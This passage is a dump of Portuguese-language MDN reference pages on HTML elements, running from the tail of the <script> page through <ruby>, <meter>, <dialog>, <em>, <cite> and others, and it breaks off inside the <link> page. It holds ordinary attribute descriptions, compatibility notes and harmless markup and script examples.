`document`.\n\n`integrity`\n\nContains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. See Subresource Integrity (en-US).\n\n`nomodule` \nExperimental\n\nThis Boolean attribute is set to indicate that the script should not be executed in browsers that support ES6 modules — in effect, this can be used to serve fallback scripts to older browsers that do not support modular JavaScript code.\n\n`src`\n\nThis attribute specifies the URI of an external script; this can be used as an alternative to embedding a script directly within a document. If a `script` element has a `src` attribute specified, it should not have a script embedded inside its tags.\n\n`text`\n\nLike the `textContent`attribute, this attribute sets the text content of the element. Unlike the `textContent` attribute, however, this attribute is evaluated as executable code after the node is inserted into the DOM.\n\n`type`\n\nIndicates the type of script represented. The value of this attribute will be in one of the following categories:\n\n* **Omitted or a JavaScript MIME type:** For HTML5-complient browsers this indicates the script is JavaScript. HTML5 spec urges authors to omit the attribute rather than provided a redundant MIME type. In earlier browsers, this identified the scripting language of the embedded or imported (via the `src` attribute) code. JavaScript MIME types are listed in the specification.\n* **`module`:** For HTML5-complient browsers the code is treated as a JavaScript module. Processing of the script contents are not affected by the `charset` and `defer` attributes. For information on using `module`, see ES6 in Depth: Modules. \nExperimental\n* **Any other value or MIME type:** Embedded content is treated as a data block which won't be processed by the browser. The `src` attribute will be ignored.\n\nNote that in Firefox you can use advanced features such as let statements and other features in later JS versions, by using `type=application/javascript;version=1.8` \nNon-standard\n. Beware, however, that as this is a non-standard feature, this will most likely break support for other browsers, in particular Chromium-based browsers.\n\nFor how to include *exotic programming languages*, read about Rosetta.\n\n### Atributos obsoletos\n\n`charset` \nDeprecated\n\nIf present, its value must be an ASCII case-insensitive match for \"`utf-8`\". Both it's unnecessary to specify the `charset` attribute, because documents must use UTF-8, and the `script` element inherits its character encoding from the document.\n\n`language` \nDeprecated\n\nLike the `type` attribute, this attribute identifies the scripting language in use. Unlike the `type` attribute, however, this attribute's possible values were never standardized. The `type` attribute should be used instead.\n\nNotas\n-----\n\nScripts without `async` or `defer` attributes, as well as inline scripts, are fetched and executed immediately, before the browser continues to parse the page.\n\nThe script should be served with the `text/javascript` MIME type, but browsers are lenient and only block them if the script is served with an image type (`image/*`), a video type (`video/*`), an audio (`audio/*`) type, or `text/csv`. If the script is blocked, an `error (en-US)` is sent to the element, if not a `success (en-US)` event is sent.\n\nExemplos\n--------\n\n\n```html\n<!-- HTML4 and (x)HTML -->\n<script type=\"text/javascript\" src=\"javascript.js\"></script>\n\n<!-- HTML5 -->\n<script src=\"javascript.js\"></script>\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-script-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `document.currentScript`\n* Ryan Grove's <script> and <link> node event compatibility chart"}
{"title":"<ruby> - HTML: Linguagem de Marcação de Hipertexto","text":"<ruby>\n======\n\nResumo\n------\n\nO **elemento** \\*\\*HTML `<ruby>` \\*\\*representa uma anotação ruby. Anotações ruby são para mostrar a pronúncia de caracteres do Leste Asiático\n\n* *Categorias de conteúdo* Conteúdo de fluxo, conteúdo fraseado, conteúdo palpável.\n* *Conteúdo permitido* Conteúdo fraseado.\n* *Omissão de tag* None, both the starting and ending tag are mandatory.\n* *Elementos pais permitidos* Ver prosa\n* *Interface DOM* `HTMLElement` (en-US)\nAtributos\n---------\n\nEsse elemento somente inclui os atributos globais.\n\nExemplos\n--------\n\n### Exemplo 1: Caracter\n\n\n```html\n<ruby>\n  漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp>\n</ruby>\n```\n\n### Exemplo 2: Palavra\n\n\n```html\n<ruby> 明日 <rp>(</rp><rt>Ashita</rt><rp>)</rp> </ruby>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-ruby-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<rt>` (en-US)\n* `<rp>` (en-US)"}
{"title":"<head> - HTML: Linguagem de Marcação de Hipertexto","text":"<head>\n======\n\nO elemento **HTML `<head>` providencia informações gerais** (metadados) sobre o documento, incluindo seu título e links para scripts e folhas de estilos.\n\n|  |  |\n| --- | --- |\n| Categoria de conteúdo | Nenhuma. |\n| Conteúdo permitido | Se o elemento é um `<iframe>`\n\n`srcdoc`, ou se a informação\n do título está sendo avaliada desde um nivel alto do protocolo, zero\n ou mais elementos de conteúdo de metadados.\n\n\n Por outro lado, um ou mais elementos de conteúdo de metadados onde\n exatamente um é um `<title>` elemento.\n  |\n| Omissão de tag | \n A tag inicial pode ser omitida se a primeira coisa dentro do head\n elemento é um elemento.\n\n\n A tag final pode ser omitida se a primeira coisa seguindo o elemento\n head não é um caractere espaço ou um comentário.\n  |\n| Elementos parentes permitidos | Um `<html>` elemento, como primeiro filho. |\n| DOM interface | `HTMLHeadElement` (en-US) |\n\nAttributos\n----------\n\nEstes elementos incluem os atributos globais.\n\n`profile`\n\nA URIs de um ou mais perfis de metadados , separado por espaço em branco.\n\nExemplo\n-------\n\n\n```html\n<html>\n  <head>\n    <title>Document title</title>\n  </head>\n</html>\n```\n\nNotas\n-----\n\nModerno, HTML5-compatível browsers automaticamente constrói um elemento `<head>` se as tags forem omitidas na marcação. Este comportamento não pode ser garantido por browsers antigos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-head-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Elementos que podem ser usados dentro de um `<head>` element: `<title>`, `<base>`, `<link>`, `<style>`, `<meta>`, `<script>`, `<noscript>`"}
{"title":"meter - HTML: Linguagem de Marcação de Hipertexto","text":"meter\n=====\n\nSumário\n-------\n\nO elemento HTML *meter* (`<meter>`) pode representar um valor escalar dentro de um intervalo conhecido ou um valor fracionário.\n\n> \n> **Note:** A não ser que o atributo **value** esteja entre 0 e 1(inclusive), o atributo **min** e o atributo **max** devem definir o intervalo de modo que o valor do atributo **value** esteja dentro dele.\n> \n> \n> \n\nContexto de uso\n---------------\n\n| Content categories | flow content, phrasing content, Labelable Form-associated content |\n| --- | --- |\n| Conteúdo permitido | Phrasing content, mas nenhum elemento `meter` descendente. |\n| Tag omission | Nenhuma, ambas as tags iniciais e finais são obrigatórias. |\n| Elementos pais permitidos | Qualquer elemento que aceite phrasing content. |\n| Documento normativo | HTML5, section 4.10.8 |\n\nAtributos\n---------\n\nComo todos os elementos HTML, esse elemento suporta attributes.\n\n`value`\n\nO valor numérico atual. Ele deve estar entre os valores mínimos e máximo (o atributo **min** e o atributo **max**) se eles estiverem especificados. Se não especificado ou mal formatado, o valor é 0. Se especificado, mas fora do intervalo dado pelos atributos **min** e **max**, o valor é igual ao extremo do intervalo mais próximo.\n\n`min`\n\nO limite numérico mínimo do intervalo medido. Deve ser menor que o valor máximo (o atributo **max**), se especificado. Se não especificado, o valor mínimo é 0.\n\n`max`\n\nO limite numérico máximo do intervalo medido. Deve ser maior que o valor mínimo (o atributo **min**), se especificado. Se não especificado, o valor máximo é 1.\n\n`low`\n\nO limite numérico máximo da parte inferior do intervalo medido. Deve ser maior que o valor mínimo (o atibuto **min**), e também ser menor que o valor alto e o valor máximo (os atributos **high** e **max**, respectivamente), se estiver especificado. Se não especificado, ou se for menor que o valor mínimo, o valor de **low** é igual ao valor mínimo.\n\n`high`\n\nO limite numérico mínimo da parte superior do intervalo medido. Deve ser menor que o valor máximo (o atibuto **max**), e também ser maior que o valor baixo e o valor mínimo (os atributos **low** e **min**, respectivamente), se estiver especificado. Se não especificado, ou se for maior que o valor máximo, o valor de **high** é igual ao valor máximo.\n\n`optimum`\n\nEsse atributo indica o valor numérico ótimo. Deve estar dentro do intervalo (definido pelos atributos **min** e **max**). Quando com os atributos **low** e **high**, ele indica a região do intervalo qu é considerada preferível. Por exemplo, se estiver entre os atributos **min** e **low**, então a parte inferior do intervalo é considerada como ótima.\n\n`form`\n\nEsse atributo associa o elemento com um elemento `form` que é dono de um elemento `meter`. Por exemplo, um elemento `meter` pode estar mostrando um intervalo correspondente a um elemento `input` do **type**(tipo) *number*. Esse atributo só é utilizado se o elemento `meter` está sendo utilizado como um elemento associado a um formulário; mesmo assim, ele pode se romitido se o elemento for um descendente de um elemento `form`.\n\nExemplos\n--------\n\n### Exemplo simples\n\n\n```html\n<p>\n  Aqueça o forno para <meter min=\"200\" max=\"500\" value=\"350\">350 graus</meter>.\n</p>\n```\n\n\nNo Google Chrome, o medidor aparece como:\n\n![meter1.png](/pt-BR/docs/Web/HTML/Element/meter/meter1.png)\n\n### Exemplos de intervalos com High e Low\n\nNote que nesse exemplo o atributo **min** foi omitido; isso é permitido, pois ele irá ser, por padrão, 0.\n\n\n```html\n<p>\n  Ele recebeu <meter low=\"69\" high=\"80\" max=\"100\" value=\"84\">B</meter> no exame.\n</p>\n```\n\n\nNo Google Chrome, o medidor aparece como:\n\n![meter2.png](/pt-BR/docs/Web/HTML/Element/meter/meter2.png)\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<progress>`"}
{"title":"<s> - HTML: Linguagem de Marcação de Hipertexto","text":"<s>\n===\n\nO **elemento HTML `<s>`** renderiza um texto tachado ou uma linha cortando o texto. Use o elemento `<s>` para representar texto que não sejam relevante ou que não estam corretos. Não é apropriado o uso do `<s>` indicar edições no texto; para indicar edições no texto utilize `<del>` e `<ins>` (en-US), que são elementos mais apropriados.\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteúdo fraseado\n ou\n conteúdo de fluxo.\n  |\n| Conteúdo permitido | Conteúdo freaseado. |\n| Omissão de Tag | Nenhuma, as tags de abertura e de fechamento são obrigatórias. |\n| Pais permitidos | \n Qualquer elemento que aceite\n conteúdo fraseado.\n  |\n| Funções ARIA permitidas | Todas |\n| DOM interface | `HTMLElement` (en-US) |\n\nAtributos\n---------\n\nEsse atributo incluí atributos globais.\n\n> \n> **Note:** **Notas de implementação:** Até Gecko 1.9.2 inclusive, Firefox implementa `HTMLSpanElement` para a interface deste elemento.\n> \n> \n> \n\nExemplo\n-------\n\n\n```xml\n<s>Hoje é um dia especial: Salmon</s> ESGOTADO<br>\n<span style=\"text-decoration:line-through;\">Hoje é um dia especial:\n  Salmon</span> ESGOTADO\n```\n\n### Resultado\n\n~~Hoje é um dia especial: Salmão~~ ESGOTADO\n ~~Hoje é um dia especial: Salmão~~ ESGOTADO\n\nPreocupações com acessibilidade\n-------------------------------\n\nA presença do elemento s não é anunciada pela maioria das tecnologias de leitura de tela em sua configuração padrão. Isso pode ser anunciado usando a propriedade CSS `content`, junto com os pseudoelementos `::before` and `::after`.\n```\n\ns::before,\ns::after {\n  clip-path: inset(100%);\n  clip: rect(1px, 1px, 1px, 1px);\n  height: 1px;\n  overflow: hidden;\n  position: absolute;\n  white-space: nowrap;\n  width: 1px;\n}\n\ns::before {\n  content: \" [início do texto utilizado] \";\n}\n\ns::after {\n  content: \" [fim do texto utilizado] \";\n}\n```\n\n\nAlgumas pessoas que usam leitores de tela que desativam deliberadamente o anúncio de conteúdo que criados com muita verbosidade. Por esse motivo, é importante não abusar dessa técnica e aplicá-la apenas nas situações em que o desconhecimento do conteúdo foi eliminado e que afetaria negativamente a compreensão.\n\n* Nota curta sobre como deixar sua marca (mais acessível) | O Grupo Paciello\n* Ajustando estilos de texto | Adrian Roselli\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-s-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja mais\n---------\n\n* O elemento `<strike>` (en-US), é o alter ego de `<s>` é obsoleto e não deve mais ser usado em sites.\n* Elemento `<del>` deve ser usado quando o conteúdo for *deletado*.\n* O CSS `text-decoration-line` (en-US) propriedade deve ser usada para alcançar o antigo aspecto visual do elemento `<s>`."}
{"title":"details - HTML: Linguagem de Marcação de Hipertexto","text":"details\n=======\n\nSumário\n-------\n\nO elemento HTML *details* (`<details>`) é usado como uma ferramenta de onde o usuário irá obter informações adicionais.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Um elemento `<summary>` seguido por flow content |\n| --- | --- |\n| Omissão de tag | Nenhuma, tanto as tas iniciais quanto as finais são obrigatórias. |\n| Elementos pais permitidos | Qualquer elemento que aceite flow content. |\n| Documento normativo | HTML5, section 4.11.1 |\n\nAtributos\n---------\n\nComo todos os elementos HTML, esse elemento aceita os global attributes.\n\n`open`\n\nEsse atributo Booleano indica se os detalhes serão mostrados para o usuário ao carregar a página. Se omitido os detalhes não serão mostrados.\n\nInterface do DOM\n----------------\n\nEsse elemento implementa a interface`HTMLDetailsElement`.\n\nExemplos\n--------\n\n\n```html\n<details>\n  <summary>Alguns detalhes</summary>\n  <p>Mais informações sobre os detalhes.</p>\n</details>\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<summary>`"}
{"title":"<optgroup> - HTML: Linguagem de Marcação de Hipertexto","text":"<optgroup>\n==========\n\nSumário\n-------\n\nEm um Formulário Web, o elemento HTML `<optgroup>` cria um agrupamento de opções dentro do elemento `<select>`.\n\n* *Categorias de conteúdo (en-US)* Nenhuma.\n* *Conteúdo permitido* Nenhum ou mais elementos do tipo `<option>`.\n* *Omissão da tag* A abertura da tag é obrigatória. O fechamento da tag é opcional se o elemento é imediatamente seguido de de outro elemento <optgroup>, ou se o elemento pai não tiver nenhum conteúdo.\n* *Elemento pai permitido* Um elemento `<select>`.\n* *Interface DOM* `HTMLOptGroupElement` (en-US)\n\n**Nota:** Elementos do tipo **optgroup** não podem ser aninhados.\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`disabled`\n\nSe este atributo booleano for definido, nenhum dos itens neste **optgroup** poderá ser selecionado. Muitos navegadores marcam como cinza e não permitem que o elemento receba nenhum evento de navegação, como cliques do mouse ou foco.\n\n`label`\n\nÉ o nome do optgroup, é o que os navegadores irão exibir como rótulo. Este atributo é obrigatório se o elemento for usado.\n\nExemplo\n-------\n\n\n```html\n<select>\n  <optgroup label=\"Grupo 1\">\n    <option>Opção 1.1</option>\n  </optgroup>\n  <optgroup label=\"Grupo 2\">\n    <option>Opção 2.1</option>\n    <option>Opção 2.2</option>\n  </optgroup>\n  <optgroup label=\"Grupo 3\" disabled>\n    <option>Opção 3.1</option>\n    <option>Opção 3.2</option>\n    <option>Opção 3.3</option>\n  </optgroup>\n</select>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-optgroup-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos de formularios relacionados: `<form>` (en-US), `<legend>`, `<label>`, `<button>`, `<select>`, `<datalist>`, `<option>`, `<fieldset>`, `<textarea>`, `<input>`, `<output>`, `<progress>` e `<meter>`."}
{"title":"<em>: O elemento de ênfase - HTML: Linguagem de Marcação de Hipertexto","text":"<em>: O elemento de ênfase\n==========================\n\nO **elemento** **HTML** **`<em>`** marca o texto que tem ênfase. O elemento <em> pode ser aninhado, com cada nível de aninhamento indicando um grau maior de ênfase.\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteúdo fluído,\n conteúdo de frase, conteúdo palpável\n  |\n| Conteúdo permitido | Conteúdo de frase. |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Pais permitidos | \n Qualquer elemento que aceita\n conteúdo de frase.\n  |\n| Funções de ARIA permitidas | Qualquer uma |\n| Interface DOM | `HTMLElement` (en-US) Até o Gecko 1.9.2 (Firefox 4)\n incluso, o Firefox implementa a\n interface`HTMLSpanElement` para este elemento.\n  |\n\nAtributos\n---------\n\nEste elemento inclui somente os atributos globais.\n\nNotas de uso\n------------\n\nEste elemento geralmente é mostrado no tipo itálico. Contudo, não deve ser usado simplesmente para aplicar estilo itálico; use o estilo CSS para esse propósito. Use o elemento `<cite>` para marcar o título de um trabalho (book, play, song, etc.); também é geralmente estilizado com tipo itálico, mas possui significado diferente. Use o elemento `<strong>` para marcar o texto que tem importância maior do que o texto que está em volta.\n\nExemplo\n-------\n\nO elemento `<em>` é frequentemente usado para indicar um contraste implícito ou explícito.\n\n\n```html\n<p>\n  Em HTML 5, o que anteriormente era chamado de conteúdo\n  <em>block-level</em> agora é chamado de conteúdo <em>flow</em> .\n</p>\n```\n\n### Resultado\n\nEm HTML5, o que anteriormente era chamado de conteúdo block-level (nível de bloco) agora é chamado de *flow* content (conteúdo fluído).\n\n<i> vs <em>\n-----------\n\nÉ frequentemente confuso para novos desenvolvedores porque há vários elementos para expressar a ênfase em algum texto. `<i>` e `<em>` são talvez uns dos mais comuns. Por que usar `<em></em>` vs `<i></i>`? Eles produzem o mesmo resultado, certo?\n\nNão exatamente. O resultado visual é, por padrão, o mesmo - ambas as tags renderizam seu conteúdo em itálicos. Mas o significado semântico é diferente. A tag `<em>` representa ênfase importante de seus conteúdos, enquanto que a tag `<i>` representa o texto que é iniciado de uma prosa, como uma palavra estrangeira, pensamentos de um personagem ficcional, ou quando o texto se refere á definição de uma palavra em vez de representar seu significado semântico. (O título de um trabalho, tal como o nome de um livro ou filme, deve usar `<cite>`.)\n\nUm exemplo para `<em>` poderia ser: \"Apenas já faça isso!\", ou: \"Nós temos que fazer algo acerca disso\". Uma pessoa ou software lendo o texto pronunciaria as palavras em itálico com uma ênfase.\n\nUm exemplo para `<i>` poderia ser: \"A *Rainha Mary* velejou na noite passada\". Aqui, não é adicionada ênfase ou importância na palavra \"Rainha Mary\". É meramente indicado que o objeto em questão não é uma rainha chamada Mary, mas um navio chamado *Rainha Mary*. Outro exemplo para `<i>` poderia ser: \"A palavra *o* é um artigo\".\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-em-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<i>`"}
{"title":"<dialog>: O elemento Dialog - HTML: Linguagem de Marcação de Hipertexto","text":"<dialog>: O elemento Dialog\n===========================\n\nBaseline 2022\n-------------\n\nNewly availableSince March 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO **elemento HTML `<dialog>`** representa uma caixa de diálogo ou outro componente interativo, tal como um inspetor ou janela.\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Flow content,\n sectioning root |\n| Permitted content | Flow content |\n| Tag omission | None, both the starting and ending tag are mandatory. |\n| Permitted parents | \n Qualquer elemento que aceite\n flow content |\n| Permitted ARIA roles | `alertdialog (en-US)` |\n| DOM interface | `HTMLDialogElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais. O atributo `tabindex` não deve ser utilizado no elemento `<dialog>`.\n\n`open`\n\nIndica que o Dialog está ativo e pronto para uso. Quando o atributo `open` não for definido, ele não deve ser mostrado ao usuário.\n\nNotas de uso\n------------\n\n* Elementos de formulário (`<form>`) podem ser integrados dentro de um elemento `<dialog>`, especificando-os com o atributo `method=\"dialog\"`. Quando esse formulário é submetido, o diálogo é fechado com o seu `returnValue` (en-US) (valor de retorno) configurado para o valor botão `submit` do formulário que foi usado.\n* O pseudo-elemento CSS `::backdrop` pode ser usado para estilizar o fundo de um elemento `<dialog>`, como um escurecer um conteúdo inacessível enquanto uma janela `modal` está aberta, por exemplo. O backdrop(pano de fundo) só está disponível quando um diálogo é exibido com `HTMLDialogElement.showModal()` (en-US).\nExemplos\n--------\n\n### Exemplo simples\n\n\n```html\n<dialog open>\n  <p>Olá para todos!</p>\n</dialog>\n```\n\n### Exemplo Avançado\n\nEste exemplo abre uma caixa de diálogo contendo um formulário quando o botão \"Update details\" é clicado.\n\n#### HTML\n\n\n```html\n<!-- Um dialog simples contendo um form -->\n<dialog open id=\"favDialog\">\n  <form method=\"dialog\">\n    <section>\n      <p>\n        <label for=\"favAnimal\">Favorite animal:</label>\n        <select id=\"favAnimal\">\n          <option></option>\n          <option>Brine shrimp</option>\n          <option>Red panda</option>\n          <option>Spider monkey</option>\n        </select>\n      </p>\n    </section>\n    <menu>\n      <button id=\"cancel\" type=\"reset\">Cancel</button>\n      <button type=\"submit\">Confirm</button>\n    </menu>\n  </form>\n</dialog>\n\n<menu>\n  <button id=\"updateDetails\">Update details</button>\n</menu>\n```\n\n\n#### JavaScript\n\n\n```js\n(function () {\n  var updateButton = document.getElementById(\"updateDetails\");\n  var cancelButton = document.getElementById(\"cancel\");\n  var favDialog = document.getElementById(\"favDialog\");\n\n  // O botão Update abre uma Dialog\n  updateButton.addEventListener(\"click\", function () {\n    favDialog.showModal();\n  });\n\n  // O botão cancelButtom fecha uma Dialog\n  cancelButton.addEventListener(\"click\", function () {\n    favDialog.close();\n  });\n})();\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-dialog-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nPolyfills\n---------\n\nInclua este polyfill para suportar browsers antigos.\n\ndialog-polyfill\n\nVeja também\n-----------\n\n* O `close` evento\n* O `cancel` evento\n* Guia de formulários HTML."}
{"title":"<dt> - HTML: Linguagem de Marcação de Hipertexto","text":"<dt>\n====\n\nSumário\n-------\n\nO elemento **HTML `<dt>`** (ou Elemento HTML de Definição de Termo) identifica um termo na lista de definição. Este elemento pode ocorrer somente em um elemento filho de `<dl>`. Geralmente seguido por um elemento `<dd>`; ou multiplos `<dt>` na mesma linha indicam vários termos sendo definidos pelo próximo element `<dd>`.\n\n* *Content categories (en-US)* Vazio.\n* *Permitted content*{{todo}} Flow content (en-US), but with no `<header>`, `<footer>`, sectioning content or heading content descendants.\n* *Tag omission* Must have a start tag. The end tag may be omitted if this element is immediately followed by another `<dd>` element, or if there is no more content in the parent element.\n* *Permitted parent elements* Before a `<dt>` or a `<dd>` element, inside a `<dl>`.\n* *DOM interface* `HTMLElement` (en-US) Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the HTMLSpanElement interface for this element.\nAtributos\n---------\n\nEste elemento inclui somente atributos globais (en-US).\n\nExemplo\n-------\n\nPara exemplo veja definição de lista.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-dt-element |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<dd>`, `<dl>`"}
{"title":"<b> - HTML: Linguagem de Marcação de Hipertexto","text":"<b>\n===\n\nResumo\n------\n\nO **elemento HTML <b>** representa um intervalo de texto estilísticamente diferente do texto normal, sem transmitir qualquer importância ou relevância. Ele é geralmente usado para destacar palavras-chaves em um resumo, nomes de produtos em um comentário ou outros vãos de texto cuja a apresentação típica seria negrito. Outro exemplo de seu uso é como marcação da frase principal de cada paragrafo de um artigo.\n\n> \n> **Note:** **Notas de Uso:**\n> \n> \n> * Não confunda o elemento <b> com os elementos `<strong>` , `<em>` ou `<mark>` . O elemento `<strong>` representa um texto com importância, `<em>` coloca alguma ênfase no texto e o elemento `<mark>` representa o texto relevante. O elemento <b> não transmite essa informação semântica especial. Você deve usá-lo apenas quando os outros elementos citados não se encaixam na situação.\n> * Também não é recomendado marcar títulos de cabeçalhos usando o elemento <b>. Para isso, use as tags `<h1>` (en-US) até `<h6>` (en-US). usando essas tags você terá liberdade de mudar o estilo padrão dos elementos e não ficará preso ao negrito do elemento <b>.\n> * É uma boa prática usar o atributo de classe <b>, a fim de transmitir informação semântica adicional. Isso facilita o desenvolvimento de várias \"stylings\" de um documento web, sem a necessidade de alterar o seu código HTML.\n> * Historicamente, o elemento <b> foi criado para fazer o texto ficar em negrito. Porém as informações de estilo ficou obsoleta desde o HTML4, de modo que significado da tag <b> foi alterado.\n> * Se não a propósito semântico sobre o uso do elemento <b>, usar a propriedade css font-weight (en-US) com algum volume seria uma escolha melhor para fazer o texto ficar em negrito.\n> \n> \n> \n\n* *Content categories (en-US)* Flow content (en-US), phrasing content (en-US), palpable content.\n* *Permitted content* Phrasing content (en-US).\n* *Tag omission* None, both the starting and ending tag are mandatory.\n* *Permitted parent elements* Any element that accepts phrasing content (en-US).\n* *DOM interface* `HTMLElement` (en-US) Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the `HTMLSpanElement` interface for\nAtributos\n---------\n\nEste elemento só inclui os atributos globais (en-US).\n\nExemplo\n-------\n\n\n```html\n<p>\n  Este artigo descreve vários <b>níveis de texto</b>. Ele explica a utilização\n  do elemento em um documento <b>HTML</b>.\n</p>\nPalavras-chave são exibidas com o estilo padrão do elemento\n<b>, provavelmente em negrito.</b>\n```\n\n### Resultado\n\nEste artigo descreve vários **níveis de texto**. Ele explica a utilização do elemento em um documento **HTML**.\n\nPalavras-chave são exibidas com o estilo padrão do elemento <b>, provavelmente em negrito.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-b-element |\n\nNavegadores Compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Outros elementos de transporte text-level semantics: `<a>`, `<em>`, `<strong>`, `<small>` (en-US), `<cite>`, `<q>`, `<dfn>`, `<abbr>`, `<time>`, `<code>`, `<var>`, `<samp>` (en-US), `<kbd>` (en-US), `<sub>` (en-US), `<sup>` (en-US), `<i>`, `<mark>`, `<ruby>`, `<rp>` (en-US), `<rt>` (en-US), `<bdo>`, `<span>`, `<br>`, `<wbr>`.\n* Using <b> and <i> elements (W3C)"}
{"title":"<cite> - HTML: Linguagem de Marcação de Hipertexto","text":"<cite>\n======\n\nO **elemento** **HTML <cite>** representa uma referência a um trabalho artístico. Deve incluir o título do trabalho ou uma URL de referência, que pode ser em uma forma abreviada de acordo com as convenções usadas para a adição dos metadados de citação.\n\n|  |  |\n| --- | --- |\n| Content categories (en-US) | Flow content (en-US),\n phrasing content (en-US), palpable content.\n  |\n| Permitted content | Phrasing content (en-US). |\n| Tag omission | None, both the starting and ending tag are mandatory. |\n| Permitted parents | \n Any element that accepts\n phrasing content (en-US).\n  |\n| Permitted ARIA roles | Any |\n| DOM interface | `HTMLElement` (en-US) Up to Gecko 1.9.2 (Firefox 4)\n inclusive, Firefox implements the\n `HTMLSpanElement` interface for this element.\n  |\n\nAtributos\n---------\n\nEste elemento inclui apenas atributos globais (en-US).\n\nNotas\n-----\n\n* Um trabalho criativo deve conter a citação de um livro,um documento,um ensaio,um poema,um filme,um programa de televisão,um video game,uma escultura,uma pintura,uma produção cinematográfica,um jogo,uma opera,um musical,uma exibição,um relatório de um caso legal,um programa de computador,um website,uma página da web,um post de um blog ou comentário,um post em um forum ou um comentário no mesmo,um tweet,uma obra ou discurso,etc.\n* O W3C específica alguns estados para referenciar um trabalho criativo que deve incluir o nome do autor,enquanto a WHATWG declarou que não deve ser incluso o nome do autor sob nenhuma circustância.\n* Use o atributo `cite` em um elemento `<blockquote>` ou `<q>` para referenciar uma fonte online.\n* Para evitar que o itálico padrão do estilo seja usado pelo elemento <cite> use a propiedade `font-style` (en-US) do CSS.\nExemplo\n-------\n\n\n```html\nMais informações podem ser encontradas em <cite>[ISO-0000]</cite>.\n```\n\n\nA saída do HTML acima:\n\nMais informações podem ser encontradas em [ISO-0000].\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-cite-element |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<blockquote>` é para citações longas.\n* O elemento `<q>` é para citações curtas ou na mesma linha."}
{"title":"<link> - HTML: Linguagem de Marcação de Hipertexto","text":"<link>\n======\n\nResumo\n------\n\nO **Elemento HTML *<link>*** especifica as relações entre o documento atual e um recurso externo. Possíveis usos para este elemento incluem a definição de uma estrutura relacional para navegação. Este elemento é mais usado para vincular as folhas de estilo.\n\n* *Categorias de conteúdo* Metadata content. If `itemprop` is present: flow content phrasing content\n* *Conteúdo permitido* None, it is an empty element (en-US).\n* *Omissão de tag* As it is a void element, the start tag must be present and the end tag must not be present\n* *Elementos pai permitidos* Any element that accepts metadata elements. If `itemprop` is present: any element that accepts phrasing content.\n* *Interface de DOM* `HTMLLinkElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`as`\n\nEsse atributo é usado apenas quando `rel=\"preload\"` foi enviado no elemento `<link>`. Especifica o tipo de conteúdo carregado pelo `<link>`, que é necessário para a priorização do conteúdo, solicitação de correspondência, aplicação de política de segurança de conteúdo correta, e configuração do cabeçalho de pedido `Accept` correta.\n\n`charset`\n\nEste atributo define a codificação de caracteres do recurso vinculado. O valor é umespaço e/ou lista delimitada por vírgulas de conjuntos de caracteres, conformedefinido na RFC 2045. O valor padrão é ISO-8859-1.\n\n**Nota:** Este atributo é obsoleto em HTML5 e **não deve ser usada por autores**. Para atingir seu efeito, use o cabeçalho HTTP Content-Type sobre o recurso vinculado.\n\n`crossorigin`\n\nEste atributo enumerado indica se a busca da imagem relacionada deve ser feita usando CORS ou não. I-magens de CORS habilitado podem ser reutilizadas no elemento `<canvas>` sem ser conta-minado. Os valores permitidos 